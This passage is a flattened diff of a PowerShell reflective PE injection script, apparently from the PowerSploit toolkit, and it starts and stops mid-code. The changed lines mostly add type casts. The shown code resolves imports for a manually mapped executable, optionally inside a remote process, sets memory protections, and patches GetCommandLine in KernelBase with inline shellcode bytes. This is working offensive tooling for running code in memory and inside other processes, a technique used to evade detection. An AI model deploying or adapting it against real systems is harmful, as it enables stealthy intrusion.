$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done importing DLL imports" - break - } - - $ImportDllHandle = [IntPtr]::Zero - $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) - if ($RemoteLoading -eq $true) - { - $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr - } - else - { - $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) - } - - if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) - { - throw "Error importing DLL, DLLName: $ImportDllPath" - } + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } - #Get the first thunk, then loop through all of them - [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [IntPtr]) + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) - while ($OriginalThunkRefVal -ne [IntPtr]::Zero) - { - $ProcedureName = '' - #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit - # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint - # and doing the comparison, just see if it is less than 0 - [IntPtr]$NewThunkRef = [IntPtr]::Zero - if([Int64]$OriginalThunkRefVal -lt 0) - { - $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal - } - else - { - [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) - $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([UInt16])) - $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) - } + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } - if ($RemoteLoading -eq $true) - { - [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName - } - else - { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) - } + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } - if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) - { - Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" - } + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) - $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) - [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr])) - [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [IntPtr]) - } + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } - $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_IMPORT_DESCRIPTOR)) - } - } - } - - Function Get-VirtualProtectValue - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [UInt32] - $SectionCharacteristics - ) - - $ProtectionFlag = 0x0 - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_EXECUTE - } - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_READWRITE - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_READONLY - } - } - else - { - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) - { - $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY - } - else - { - $ProtectionFlag = $Win32Constants.PAGE_NOACCESS - } - } - } - - if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) - { - $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE - } - - return $ProtectionFlag - } - - Function Update-MemoryProtectionFlags - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) - [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) - [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics - [UInt32]$SectionSize = $SectionHeader.VirtualSize + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize - [UInt32]$OldProtectFlag = 0 - Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null - $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) - if ($Success -eq $false) - { - Throw "Unable to change memory protection" - } - } - } + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } - #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE - #Returns an object with addresses to copies of the bytes that were overwritten (and the count) - Function Update-ExeFunctions - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [String] - $ExeArguments, - - [Parameter(Position = 4, Mandatory = $true)] - [IntPtr] - $ExeDoneBytePtr - ) - - #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. - $ReturnArray = @() - - $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) - [UInt32]$OldProtectFlag = 0 - - [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") - if ($Kernel32Handle -eq [IntPtr]::Zero) - { - throw "Kernel32 handle null" - } - - [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") - if ($KernelBaseHandle -eq [IntPtr]::Zero) - { - throw "KernelBase handle null" - } - - ################################################# - #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. - # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. - $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") - [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") - - if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) - { - throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" - } - - #Prepare the shellcode - [Byte[]]$Shellcode1 = @() - if ($PtrSize -eq 8) - { - $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 - } - $Shellcode1 += 0xb8 - - [Byte[]]$Shellcode2 = @(0xc3) - $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length - - - #Make copy of GetCommandLineA and GetCommandLineW - $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) - $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null - $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null - $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) - $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) - - #Overwrite GetCommandLineA - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineAAddrTemp = $GetCommandLineAAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) - $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - - - #Overwrite GetCommandLineW - [UInt32]$OldProtectFlag = 0 - $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - - $GetCommandLineWAddrTemp = $GetCommandLineWAddr - Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) - $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize - Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp - - $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null - ################################################# - - - ################################################# - #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. - # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. - # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the - # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. - $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` - , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") - - foreach ($Dll in $DllList) - { - [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) - if ($DllHandle -ne [IntPtr]::Zero) - { - [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") - [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") - if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) - { - "Error, couldn't find _wcmdln or _acmdln" - } + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } - $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) - $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) - #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state - $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [IntPtr]) - $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [IntPtr]) - $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) - $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) - $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) - $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) - if ($Success = $false) - { - throw "Call to VirtualProtect failed" - } - [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) - 